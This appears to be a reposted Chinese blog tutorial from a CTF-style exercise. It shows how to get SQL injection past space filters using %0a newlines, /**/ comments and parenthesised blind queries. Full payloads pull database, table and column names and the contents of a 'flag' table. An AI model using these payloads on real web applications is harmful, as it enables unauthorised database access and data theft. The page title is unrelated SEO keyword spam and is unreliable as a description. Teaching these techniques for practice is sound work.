当前位置: 首页> 教育> 培训 > 网络推广活动具体实施方案_企业网站制作比较好的_腰椎间盘突出压迫神经腿疼怎么治_百度网盘客服

网络推广活动具体实施方案_企业网站制作比较好的_腰椎间盘突出压迫神经腿疼怎么治_百度网盘客服

时间:2025/7/11 20:09:59来源:https://blog.csdn.net/weixin_45131319/article/details/142843298 浏览次数:0次
网络推广活动具体实施方案_企业网站制作比较好的_腰椎间盘突出压迫神经腿疼怎么治_百度网盘客服

一、换行符绕过

请添加图片描述
这里我们在admin’ 后面加上一个空格发现被过滤了:
请添加图片描述
这里我们使用%0a就正常回显了,说明我们绕过了:
请添加图片描述

id=admin%0aor%0a1=1%23

测速注入点,成功回显admin:
请添加图片描述

id=admin%0aorder%0aby%0a5%23

测一下列数,这里没有正常输出,说明没有5列:
请添加图片描述
我们改成三列,成功了,我们再改成四位发现也不对,那么这里就是三列:
请添加图片描述

猜测回显位
id=1%0aunion%0aselect%0a1,2,3%23

我们前面说过,再测回显位的时候要让前面的id等于数据库中不存在的值,我们改成1,回显了2,说明回显列在第二位,后面就是正常操作拿数据:
请添加图片描述
空格绕过里的%0b、%0c、%0d这些都是可以绕过的

拿数据库名
id=1%0aunion%0aselect%0a1,database(),3%23拿表名
id=1%0aunion%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%23拿列名
id=1%0aunion%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='flag'%23拿数据
id=1%0aunion%0aselect%0a1,flag,3%0afrom%0aflag%23

二、注释符绕过

请添加图片描述

直接把上一步中的%0a换成/**/

拿库名
id=1/**/union/**/select/**/1,database(),3%23拿表名
id=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23拿列名
id=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'%23拿数据
id=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag%23

三、括号绕过

请添加图片描述

请添加图片描述
因为()是用在子查询上,我们不能用(union)来连接语句,所以这里需要用盲注的形式来查询:

猜库名
id=(1)and(if((ascii(substr((database()),1,1))=119),1,0))%23使用burp的Intruder模块进行爆破
猜表名
id=(1)and(if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='web')),1,1))=10),1,0))%23同样后面的步骤都使用Burp的模块进行爆破
猜列名
id=(1)and(if((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),1,1))=102),1,0))%23猜数据
id=(1)and(if((ascii(substr((select(flag)from(flag)),1,1))=102),1,0))%23

我们看一下例题,这里我们空格被过滤了:
请添加图片描述
我们用括号绕过,爆破完后是119,后面的操作也是类似:
请添加图片描述

关键字:网络推广活动具体实施方案_企业网站制作比较好的_腰椎间盘突出压迫神经腿疼怎么治_百度网盘客服

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: